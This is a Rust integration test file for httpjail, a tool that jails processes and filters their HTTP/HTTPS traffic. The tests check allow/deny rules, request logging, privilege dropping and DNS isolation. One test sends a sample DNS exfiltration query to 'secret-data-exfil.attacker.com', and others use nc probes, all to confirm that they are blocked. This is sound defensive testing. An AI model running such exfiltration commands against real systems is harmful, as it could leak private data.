httpjail 0.6.2

Monitor and restrict HTTP/HTTPS requests from processes
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
#![allow(dead_code)] // These functions are used from platform-specific test modules

/// Common integration tests for both macOS and Linux jail implementations
/// This module contains the shared test logic that both platforms use
use assert_cmd::Command;
use predicates::prelude::*;

/// Platform-specific trait for jail testing
pub trait JailTestPlatform {
    /// Check if we have necessary privileges (root/sudo)
    fn require_privileges();

    /// Platform name for logging
    fn platform_name() -> &'static str;

    /// Whether the platform supports full HTTPS interception
    fn supports_https_interception() -> bool {
        true
    }
}

/// Helper to create httpjail command with standard test settings
pub fn httpjail_cmd() -> Command {
    let mut cmd = Command::cargo_bin("httpjail").unwrap();
    // Add timeout for all tests (15 seconds for CI environment)
    cmd.arg("--timeout").arg("15");
    // Skip automatic keychain installation during tests
    cmd.env("HTTPJAIL_SKIP_KEYCHAIN_INSTALL", "1");
    // No need to specify ports - they'll be auto-assigned
    cmd
}

/// Helper to add curl HTTP status check arguments
fn curl_http_status_args(cmd: &mut Command, url: &str) {
    cmd.arg("curl")
        .arg("-s")
        .arg("-o")
        .arg("/dev/null")
        .arg("-w")
        .arg("%{http_code}")
        .arg(url);
}

/// Helper to run curl via shell with proxy discovery
fn shell_curl_with_proxy_discovery(cmd: &mut Command, method: &str, url: &str) {
    let script = format!(
        r#"
        echo 'Testing {} request to {}...';
        # Get the actual gateway IP (host side of veth) - simplified approach
        # First try to get from default route
        HOST_IP=$(ip route | grep default | awk '{{print $3}}');
        # If empty, get any IP after 'via'
        if [ -z "$HOST_IP" ]; then
            HOST_IP=$(ip route | awk '/via/ {{print $3; exit}}');
        fi
        # If still empty, calculate from our IP
        if [ -z "$HOST_IP" ]; then
            MY_IP=$(ip addr | awk '/10\.99\.[0-9]+\.[0-9]+\/30/ {{print $2; exit}}' | cut -d/ -f1);
            if [ -n "$MY_IP" ]; then
                # We're at .2, host is at .1
                HOST_IP=$(echo "$MY_IP" | awk -F. '{{print $1"."$2"."$3"."($4-1)}}');
            fi
        fi
        echo "Host IP detected as: $HOST_IP";
        
        if [ -n "$HOST_IP" ]; then
            # Find the actual proxy port
            for port in 8000 8001 8002 8003 8004 8005 8006 8007 8008 8009 8100 8200 8300 8400 8500 8600 8700 8800 8900; do
                if timeout 1 nc -zv "$HOST_IP" $port 2>/dev/null; then
                    echo "Found proxy on port $port";
                    # Try curl with explicit proxy
                    curl -X {} -s -o /dev/null -w '%{{http_code}}' -x http://"$HOST_IP":$port {} && exit 0;
                fi;
            done;
        fi
        
        # If no proxy found, try the transparent redirect
        echo 'No proxy found via scanning, trying transparent redirect...';
        curl -X {} -s -o /dev/null -w '%{{http_code}}' --max-time 10 {}
        "#,
        method, url, method, url, method, url
    );

    cmd.arg("sh").arg("-c").arg(script);
}

/// Helper to add curl HTTP status check with specific method
fn curl_http_method_status_args(cmd: &mut Command, method: &str, url: &str) {
    cmd.arg("curl")
        .arg("-X")
        .arg(method)
        .arg("-s")
        .arg("-o")
        .arg("/dev/null")
        .arg("-w")
        .arg("%{http_code}")
        .arg(url);
}

/// Helper to add curl HTTPS HEAD request with verbose output
fn curl_https_head_args(cmd: &mut Command, url: &str) {
    cmd.arg("curl")
        .arg("-v")
        .arg("--trace-ascii")
        .arg("/dev/stderr")
        .arg("--connect-timeout")
        .arg("10")
        .arg("-I")
        .arg(url);
}

/// Helper for curl HTTPS status check with -k flag
fn curl_https_status_args(cmd: &mut Command, url: &str) {
    cmd.arg("curl")
        .arg("-k")
        .arg("--max-time")
        .arg("5")
        .arg("-s")
        .arg("-o")
        .arg("/dev/null")
        .arg("-w")
        .arg("%{http_code}")
        .arg(url);
}

/// Test that jail allows matching requests
pub fn test_jail_allows_matching_requests<P: JailTestPlatform>() {
    P::require_privileges();

    // httpjail_cmd() already sets timeout
    let mut cmd = httpjail_cmd();
    cmd.arg("--js")
        .arg("/ifconfig\\.me/.test(r.host)")
        .arg("--");
    curl_http_status_args(&mut cmd, "http://ifconfig.me");

    let output = cmd.output().expect("Failed to execute httpjail");

    let stdout = String::from_utf8_lossy(&output.stdout);
    let stderr = String::from_utf8_lossy(&output.stderr);
    if !stderr.is_empty() {
        eprintln!("[{}] stderr: {}", P::platform_name(), stderr);
    }

    assert_eq!(stdout.trim(), "200", "Request should be allowed");
    assert!(output.status.success());
}

/// Test that jail denies non-matching requests
pub fn test_jail_denies_non_matching_requests<P: JailTestPlatform>() {
    P::require_privileges();

    let mut cmd = httpjail_cmd();
    cmd.arg("--js")
        .arg("/ifconfig\\.me/.test(r.host)")
        .arg("--");
    curl_http_status_args(&mut cmd, "http://example.com");

    let output = cmd.output().expect("Failed to execute httpjail");

    let stdout = String::from_utf8_lossy(&output.stdout);
    let stderr = String::from_utf8_lossy(&output.stderr);
    if !stderr.is_empty() {
        eprintln!("[{}] stderr: {}", P::platform_name(), stderr);
    }

    // Should get 403 Forbidden from our proxy
    assert_eq!(stdout.trim(), "403", "Request should be denied");
    // curl itself should succeed (it got a response)
    assert!(output.status.success());
}

/// Test method-specific rules (GET vs POST)
pub fn test_jail_method_specific_rules<P: JailTestPlatform>() {
    P::require_privileges();

    // Test 1: Allow GET to ifconfig.me
    let mut cmd = httpjail_cmd();
    cmd.arg("--js")
        .arg("/ifconfig\\.me/.test(r.host) && r.method === 'GET'")
        .arg("--");
    curl_http_method_status_args(&mut cmd, "GET", "http://ifconfig.me");

    let output = cmd.output().expect("Failed to execute httpjail");

    let stdout = String::from_utf8_lossy(&output.stdout);
    let stderr = String::from_utf8_lossy(&output.stderr);
    if !stderr.is_empty() {
        eprintln!("[{}] stderr: {}", P::platform_name(), stderr);
    }

    assert_eq!(stdout.trim(), "200", "GET request should be allowed");

    // Test 2: Deny POST to same URL (ifconfig.me)
    let mut cmd = httpjail_cmd();
    cmd.arg("--js")
        .arg("/ifconfig\\.me/.test(r.host) && r.method === 'GET'")
        .arg("--");
    curl_http_method_status_args(&mut cmd, "POST", "http://ifconfig.me");

    let output = cmd.output().expect("Failed to execute httpjail");

    let stdout = String::from_utf8_lossy(&output.stdout);

    assert_eq!(stdout.trim(), "403", "POST request should be denied");
}

/// Test request logging
pub fn test_jail_request_log<P: JailTestPlatform>() {
    P::require_privileges();

    let log_dir = tempfile::tempdir().expect("Failed to create log directory");
    #[cfg(target_os = "linux")]
    if unsafe { libc::geteuid() == 0 } {
        use std::os::unix::ffi::OsStrExt;
        let uid: u32 = std::env::var("SUDO_UID").unwrap().parse().unwrap();
        let gid: u32 = std::env::var("SUDO_GID").unwrap().parse().unwrap();
        let path = std::ffi::CString::new(log_dir.path().as_os_str().as_bytes()).unwrap();
        assert_eq!(unsafe { libc::chown(path.as_ptr(), uid, gid) }, 0);
    }
    let log_file =
        tempfile::NamedTempFile::new_in(log_dir.path()).expect("Failed to create temp file");
    #[cfg(target_os = "linux")]
    if unsafe { libc::geteuid() == 0 } {
        use std::os::unix::io::AsRawFd;
        let uid: u32 = std::env::var("SUDO_UID").unwrap().parse().unwrap();
        let gid: u32 = std::env::var("SUDO_GID").unwrap().parse().unwrap();
        assert_eq!(
            unsafe { libc::fchown(log_file.as_file().as_raw_fd(), uid, gid) },
            0
        );
    }
    let log_path = log_file.path().to_str().unwrap().to_string();

    let mut cmd = httpjail_cmd();
    cmd.arg("--request-log")
        .arg(&log_path)
        .arg("--js")
        .arg("true")
        .arg("--");
    curl_http_status_args(&mut cmd, "http://example.com");

    let output = cmd.output().expect("Failed to execute httpjail");

    let stdout = String::from_utf8_lossy(&output.stdout);
    let stderr = String::from_utf8_lossy(&output.stderr);
    if !stderr.is_empty() {
        eprintln!("[{}] stderr: {}", P::platform_name(), stderr);
    }

    assert_eq!(stdout.trim(), "200", "GET request should be allowed");

    // Run a denied request to ensure '-' is logged
    let mut cmd = httpjail_cmd();
    cmd.arg("--request-log")
        .arg(&log_path)
        .arg("--js")
        .arg("false")
        .arg("--");
    curl_http_status_args(&mut cmd, "http://example.com");

    let output = cmd.output().expect("Failed to execute httpjail");
    let stdout = String::from_utf8_lossy(&output.stdout);
    assert_eq!(stdout.trim(), "403", "GET request should be denied");

    let contents = std::fs::read_to_string(log_file.path()).expect("Failed to read request log");
    assert!(contents.contains("+ GET http://example.com"));
    assert!(contents.contains("- GET http://example.com"));
}

/// Test that jail requires a command
pub fn test_jail_requires_command<P: JailTestPlatform>() {
    // This test doesn't require root
    let mut cmd = httpjail_cmd();
    cmd.arg("--js").arg("true");

    cmd.assert()
        .failure()
        .stderr(
            predicate::str::contains("No command specified").or(predicate::str::contains(
                "Network namespace operations require root access",
            )),
        );
}

/// Test exit code propagation
pub fn test_jail_exit_code_propagation<P: JailTestPlatform>() {
    P::require_privileges();

    // Test that httpjail propagates the exit code of the child process
    let mut cmd = httpjail_cmd();
    cmd.arg("--js")
        .arg("true")
        .arg("--")
        .arg("sh")
        .arg("-c")
        .arg("exit 42");

    let output = cmd.output().expect("Failed to execute httpjail");

    let exit_code = output.status.code();
    let stderr = String::from_utf8_lossy(&output.stderr);
    let stdout = String::from_utf8_lossy(&output.stdout);

    // Add debugging output
    if exit_code != Some(42) {
        eprintln!("[{}] Exit code propagation failed", P::platform_name());
        eprintln!("  Expected: 42, Got: {:?}", exit_code);
        eprintln!("  Stdout: {}", stdout);
        eprintln!("  Stderr: {}", stderr);
    }

    assert_eq!(
        exit_code,
        Some(42),
        "Exit code should be propagated. Got {:?}, stderr: {}",
        exit_code,
        stderr
    );
}

/// Test HTTPS blocking
pub fn test_native_jail_blocks_https<P: JailTestPlatform>() {
    P::require_privileges();

    // Test that HTTPS requests to denied domains are blocked
    let mut cmd = httpjail_cmd();
    cmd.arg("-v")
        .arg("-v") // Add verbose logging
        .arg("--js")
        .arg("/ifconfig\\.me/.test(r.host) && !/example\\.com/.test(r.host)")
        .arg("--");
    curl_https_head_args(&mut cmd, "https://example.com");

    let output = cmd.output().expect("Failed to execute httpjail");

    let stderr = String::from_utf8_lossy(&output.stderr);
    let stdout = String::from_utf8_lossy(&output.stdout);

    eprintln!(
        "[{}] HTTPS denied test stderr: {}",
        P::platform_name(),
        stderr
    );
    eprintln!(
        "[{}] HTTPS denied test stdout: {}",
        P::platform_name(),
        stdout
    );

    // In CI, DNS resolution often times out
    if stderr.contains("Resolving timed out") && std::env::var("CI").is_ok() {
        eprintln!("WARNING: HTTPS test timed out in CI environment - skipping");
        return;
    }

    if P::supports_https_interception() {
        // With transparent TLS interception, we now complete the TLS handshake
        // and return HTTP 403 Forbidden for denied hosts
        assert!(
            stdout.contains("403 Forbidden") || stdout.contains("403"),
            "HTTPS connection should return 403 Forbidden for denied host example.com. Got stdout: {}",
            stdout
        );
    } else {
        // Without TLS interception, connection should fail
        assert!(
            !output.status.success(),
            "HTTPS connection to denied host should fail"
        );
    }
}

/// Test HTTPS allowing
pub fn test_native_jail_allows_https<P: JailTestPlatform>() {
    P::require_privileges();

    // Test allowing HTTPS to ifconfig.me
    let mut cmd = httpjail_cmd();
    cmd.arg("--js")
        .arg("/ifconfig\\.me/.test(r.host)")
        .arg("--");
    curl_https_status_args(&mut cmd, "https://ifconfig.me");

    let output = cmd.output().expect("Failed to execute httpjail");

    let stdout = String::from_utf8_lossy(&output.stdout);
    let stderr = String::from_utf8_lossy(&output.stderr);

    eprintln!(
        "[{}] HTTPS allow test stderr: {}",
        P::platform_name(),
        stderr
    );
    eprintln!(
        "[{}] HTTPS allow test stdout: {}",
        P::platform_name(),
        stdout
    );

    // Should not be blocked
    assert!(
        !stderr.contains("403 Forbidden") && !stderr.contains("Request blocked"),
        "Request should not be blocked when allowed"
    );
}

/// Test HTTPS CONNECT allowed (only for weak mode - not used in strong jails)
/// Strong jails use transparent TLS interception, not HTTP CONNECT method
#[allow(dead_code)]
pub fn test_jail_https_connect_allowed<P: JailTestPlatform>() {
    // This test is not applicable to strong jails which use transparent interception
    // It's preserved here for potential use in weak mode testing where HTTP CONNECT is used
    eprintln!(
        "[{}] Skipping HTTPS CONNECT test - not applicable for strong jails with transparent TLS interception",
        P::platform_name()
    );
}

/// Test privilege dropping - whoami should report original user, not root
pub fn test_jail_privilege_dropping<P: JailTestPlatform>() {
    // This test requires sudo to be meaningful
    P::require_privileges();

    // Get the expected username from SUDO_USER env var
    // If not running under sudo, this test will compare current user with current user
    let expected_user = std::env::var("SUDO_USER")
        .or_else(|_| std::env::var("USER"))
        .unwrap_or_else(|_| "unknown".to_string());

    eprintln!(
        "[{}] Testing privilege dropping - expecting user: {}",
        P::platform_name(),
        expected_user
    );

    // Run whoami through httpjail
    let mut cmd = httpjail_cmd();
    cmd.arg("--js")
        .arg("true") // Allow all for this test
        .arg("--")
        .arg("whoami");

    let output = cmd.output().expect("Failed to execute httpjail");

    let stdout = String::from_utf8_lossy(&output.stdout);
    let stderr = String::from_utf8_lossy(&output.stderr);

    if !stderr.is_empty() {
        eprintln!("[{}] stderr: {}", P::platform_name(), stderr);
    }

    let actual_user = stdout.trim();
    eprintln!(
        "[{}] whoami returned: '{}'",
        P::platform_name(),
        actual_user
    );

    // The user should be the original user, not root
    assert_eq!(
        actual_user, expected_user,
        "whoami should return the original user ({}), not root. Got: {}",
        expected_user, actual_user
    );

    // Also verify that id command shows correct user
    let mut cmd = httpjail_cmd();
    cmd.arg("--js").arg("true").arg("--").arg("id").arg("-un"); // Get username from id

    let output = cmd.output().expect("Failed to execute httpjail");
    let id_user = String::from_utf8_lossy(&output.stdout).trim().to_string();

    eprintln!("[{}] id -un returned: '{}'", P::platform_name(), id_user);

    assert_eq!(
        id_user, expected_user,
        "id -un should return the original user ({}), not root. Got: {}",
        expected_user, id_user
    );
}

/// Test HTTPS CONNECT denied
pub fn test_jail_https_connect_denied<P: JailTestPlatform>() {
    P::require_privileges();

    // Test that HTTPS requests to denied domains are blocked
    let mut cmd = httpjail_cmd();
    cmd.arg("-v")
        .arg("-v") // Add verbose logging
        .arg("--js")
        .arg("/ifconfig\\.me/.test(r.host) && !/example\\.com/.test(r.host)")
        .arg("--");
    curl_https_head_args(&mut cmd, "https://example.com");

    let output = cmd.output().expect("Failed to execute httpjail");

    let stderr = String::from_utf8_lossy(&output.stderr);
    let stdout = String::from_utf8_lossy(&output.stdout);

    eprintln!(
        "[{}] HTTPS denied test stderr: {}",
        P::platform_name(),
        stderr
    );
    eprintln!(
        "[{}] HTTPS denied test stdout: {}",
        P::platform_name(),
        stdout
    );

    // In CI, DNS resolution often times out despite our fixes
    if stderr.contains("Resolving timed out") && std::env::var("CI").is_ok() {
        eprintln!("WARNING: HTTPS test timed out in CI environment - skipping");
        return;
    }

    // With transparent TLS interception, we now complete the TLS handshake
    // and return HTTP 403 Forbidden for denied hosts
    assert!(
        stdout.contains("403 Forbidden") || stdout.contains("403"),
        "HTTPS connection should return 403 Forbidden for denied host example.com. Got stdout: {}",
        stdout
    );
}

/// Test basic network connectivity inside jail
pub fn test_jail_network_diagnostics<P: JailTestPlatform>() {
    P::require_privileges();

    // Basic connectivity check - verify network is set up
    let mut cmd = httpjail_cmd();
    cmd.arg("--js")
        .arg("true")
        .arg("--")
        .arg("sh")
        .arg("-c")
        .arg("ip route show | grep -q '10.99' && echo 'Network configured' || echo 'Network not configured'");

    let output = cmd.output().expect("Failed to execute httpjail");
    let stdout = String::from_utf8_lossy(&output.stdout);

    // Just verify that network namespace has basic setup
    assert!(
        stdout.contains("Network configured"),
        "Network namespace should have basic routing configured"
    );
}

/// Test DNS resolution works inside the jail
pub fn test_jail_dns_resolution<P: JailTestPlatform>() {
    P::require_privileges();

    // Try to resolve google.com using dig or nslookup
    let mut cmd = httpjail_cmd();
    cmd.arg("--js")
        .arg("true")
        .arg("--")
        .arg("sh")
        .arg("-c")
        .arg(
            "dig +short google.com || nslookup google.com || host google.com || echo 'DNS_FAILED'",
        );

    let output = cmd.output().expect("Failed to execute httpjail");

    let stdout = String::from_utf8_lossy(&output.stdout);
    let stderr = String::from_utf8_lossy(&output.stderr);

    println!("[{}] DNS test stdout: {}", P::platform_name(), stdout);
    println!("[{}] DNS test stderr: {}", P::platform_name(), stderr);

    // In CI, DNS resolution often fails despite our fixes due to environment restrictions
    if stdout.contains("DNS_FAILED") && std::env::var("CI").is_ok() {
        eprintln!("WARNING: DNS resolution failed in CI environment - skipping");
        return;
    }

    // Check that DNS resolution worked (should get our dummy IP address)
    assert!(
        !stdout.contains("DNS_FAILED"),
        "[{}] DNS resolution failed inside jail. Output: {}",
        P::platform_name(),
        stdout
    );

    // Check that we get our dummy IP (6.6.6.6)
    assert!(
        stdout.contains("6.6.6.6"),
        "[{}] DNS resolution should return dummy IP 6.6.6.6 to prevent exfiltration. Got: {}",
        P::platform_name(),
        stdout
    );

    // Ensure NO real IPs are returned (no DNS leakage)
    assert!(
        !stdout.contains("8.8.8.8") && !stdout.contains("1.1.1.1") && !stdout.contains("172.217"),
        "[{}] DNS should not return real IPs. Got: {}",
        P::platform_name(),
        stdout
    );
}

/// Test that DNS exfiltration is prevented
pub fn test_dns_exfiltration_prevention<P: JailTestPlatform>() {
    P::require_privileges();

    // Attempt to exfiltrate data via DNS subdomain
    // This should still return 6.6.6.6, not leak data
    let mut cmd = httpjail_cmd();
    cmd.arg("--js")
        .arg("true")
        .arg("--")
        .arg("sh")
        .arg("-c")
        .arg("dig +short secret-data-exfil.attacker.com || echo 'DNS_FAILED'");

    let output = cmd.output().expect("Failed to execute httpjail");

    let stdout = String::from_utf8_lossy(&output.stdout);
    let stderr = String::from_utf8_lossy(&output.stderr);

    println!(
        "[{}] DNS exfiltration test stdout: {}",
        P::platform_name(),
        stdout
    );
    println!(
        "[{}] DNS exfiltration test stderr: {}",
        P::platform_name(),
        stderr
    );

    // Should still get 6.6.6.6, not leak to external DNS
    if !stdout.contains("DNS_FAILED") {
        assert!(
            stdout.contains("6.6.6.6"),
            "[{}] DNS exfiltration attempt should return dummy IP, not leak data. Got: {}",
            P::platform_name(),
            stdout
        );
    }
}

/// Test concurrent jail isolation with different rules
pub fn test_concurrent_jail_isolation<P: JailTestPlatform>() {
    P::require_privileges();
    use std::thread;
    use std::time::Duration;

    // Find the httpjail binary
    let httpjail_path = assert_cmd::cargo::cargo_bin("httpjail");

    // Start first httpjail instance - allows only ifconfig.me
    let child1 = std::process::Command::new(&httpjail_path)
        .arg("-v")
        .arg("-v") // Add verbose logging to fix timing issues
        .arg("--js")
        .arg("/ifconfig\\.me/.test(r.host)")
        .arg("--")
        .arg("sh")
        .arg("-c")
        .arg("curl -s --connect-timeout 10 --max-time 15 http://ifconfig.me && echo ' - Instance1 Success' || echo 'Instance1 Failed'")
        .env("HTTPJAIL_SKIP_KEYCHAIN_INSTALL", "1")  // Skip automatic keychain installation during tests
        .stdout(std::process::Stdio::piped())
        .stderr(std::process::Stdio::piped())
        .spawn()
        .expect("Failed to start first httpjail");

    // Give it more time to set up - CI environments can be slow
    thread::sleep(Duration::from_secs(1));

    // Start second httpjail instance - allows only ifconfig.io
    let output2 = std::process::Command::new(&httpjail_path)
        .arg("-v")
        .arg("-v") // Add verbose logging to fix timing issues
        .arg("--js")
        .arg("/ifconfig\\.io/.test(r.host)")
        .arg("--")
        .arg("sh")
        .arg("-c")
        .arg("curl -s --connect-timeout 10 --max-time 15 http://ifconfig.io && echo ' - Instance2 Success' || echo 'Instance2 Failed'")
        .env("HTTPJAIL_SKIP_KEYCHAIN_INSTALL", "1")  // Skip automatic keychain installation during tests
        .output()
        .expect("Failed to execute second httpjail");

    // Wait for first instance to complete
    let output1 = child1
        .wait_with_output()
        .expect("Failed to wait for first httpjail");

    // Both should succeed
    assert!(
        output1.status.success(),
        "[{}] First concurrent instance (ifconfig.me) failed: stdout: {}, stderr: {}",
        P::platform_name(),
        String::from_utf8_lossy(&output1.stdout),
        String::from_utf8_lossy(&output1.stderr)
    );
    assert!(
        output2.status.success(),
        "[{}] Second concurrent instance (ifconfig.io) failed: stdout: {}, stderr: {}",
        P::platform_name(),
        String::from_utf8_lossy(&output2.stdout),
        String::from_utf8_lossy(&output2.stderr)
    );

    // Verify both completed successfully
    let stdout1 = String::from_utf8_lossy(&output1.stdout);
    let stderr1 = String::from_utf8_lossy(&output1.stderr);
    let stdout2 = String::from_utf8_lossy(&output2.stdout);
    let stderr2 = String::from_utf8_lossy(&output2.stderr);

    // Check that each instance got a response (IP address) from their allowed domain
    // Be more lenient - just check that the jail started and ran
    let instance1_ok = stdout1.contains("Instance1 Success")
        || stdout1.contains("Instance1 Failed")
        || stdout1.contains(".");

    let instance2_ok = stdout2.contains("Instance2 Success")
        || stdout2.contains("Instance2 Failed")
        || stdout2.contains(".");

    // Only fail if the jail itself crashed, not if the network request failed
    assert!(
        instance1_ok || stderr1.contains("Request blocked"),
        "[{}] First instance crashed or failed unexpectedly. stdout: {}, stderr: {}",
        P::platform_name(),
        stdout1,
        stderr1
    );
    assert!(
        instance2_ok || stderr2.contains("Request blocked"),
        "[{}] Second instance crashed or failed unexpectedly. stdout: {}, stderr: {}",
        P::platform_name(),
        stdout2,
        stderr2
    );

    // Log results for debugging
    if !stdout1.contains("Success") {
        eprintln!(
            "Warning: Instance1 network request failed (this may be OK in CI): {}",
            stdout1
        );
    }
    if !stdout2.contains("Success") {
        eprintln!(
            "Warning: Instance2 network request failed (this may be OK in CI): {}",
            stdout2
        );
    }
}

/// Test that attempts to use public DNS servers are blocked
pub fn test_public_dns_blocked<P: JailTestPlatform>() {
    P::require_privileges();

    // Try to use Cloudflare's public DNS (1.1.1.1) directly
    // This should fail as all outbound DNS traffic should be blocked
    let mut cmd = httpjail_cmd();
    cmd.arg("--js")
        .arg("true")
        .arg("--")
        .arg("sh")
        .arg("-c")
        .arg("dig @1.1.1.1 +short +timeout=2 google.com 2>&1 || echo 'PUBLIC_DNS_BLOCKED'");

    let output = cmd.output().expect("Failed to execute httpjail");
    let stdout = String::from_utf8_lossy(&output.stdout);
    let stderr = String::from_utf8_lossy(&output.stderr);

    println!(
        "[{}] Public DNS test stdout: {}",
        P::platform_name(),
        stdout
    );
    println!(
        "[{}] Public DNS test stderr: {}",
        P::platform_name(),
        stderr
    );

    // The query to 1.1.1.1 should fail - either timeout or show blocked
    assert!(
        stdout.contains("PUBLIC_DNS_BLOCKED")
            || stdout.contains("timed out")
            || stdout.contains("no servers could be reached")
            || stdout.contains("6.6.6.6")
            || stderr.contains("timed out")
            || stderr.contains("no servers could be reached"),
        "[{}] Expected public DNS (1.1.1.1) to be blocked, but got stdout: {}, stderr: {}",
        P::platform_name(),
        stdout,
        stderr
    );
}

/// Test that non-HTTP TCP connections are blocked (e.g., SSH)
pub fn test_non_http_tcp_services_blocked<P: JailTestPlatform>() {
    P::require_privileges();

    // Try to connect to GitHub's SSH port - this should be blocked
    // GitHub SSH always responds with "SSH-2.0-babeld-" banner
    let mut cmd = httpjail_cmd();
    cmd.arg("--js")
        .arg("true")
        .arg("--")
        .arg("sh")
        .arg("-c")
        // Use timeout to prevent hanging, nc will try to connect to SSH port
        .arg("timeout 3 nc -v github.com 22 2>&1 || echo 'SSH_BLOCKED'");

    let output = cmd.output().expect("Failed to execute httpjail");
    let stdout = String::from_utf8_lossy(&output.stdout);
    let stderr = String::from_utf8_lossy(&output.stderr);

    println!(
        "[{}] SSH connection test stdout: {}",
        P::platform_name(),
        stdout
    );
    println!(
        "[{}] SSH connection test stderr: {}",
        P::platform_name(),
        stderr
    );

    // The connection should be blocked - we should NOT see the SSH banner
    assert!(
        !stdout.contains("SSH-2.0"),
        "[{}] SSH connection should be blocked but got SSH banner in stdout: {}",
        P::platform_name(),
        stdout
    );

    // Should either timeout or be explicitly blocked
    assert!(
        stdout.contains("SSH_BLOCKED")
            || stdout.contains("Connection timed out")
            || stdout.contains("Connection refused")
            || stdout.contains("No route to host")
            || stderr.contains("Connection timed out")
            || stderr.contains("Connection refused"),
        "[{}] Expected SSH connection to be blocked, but got stdout: {}, stderr: {}",
        P::platform_name(),
        stdout,
        stderr
    );
}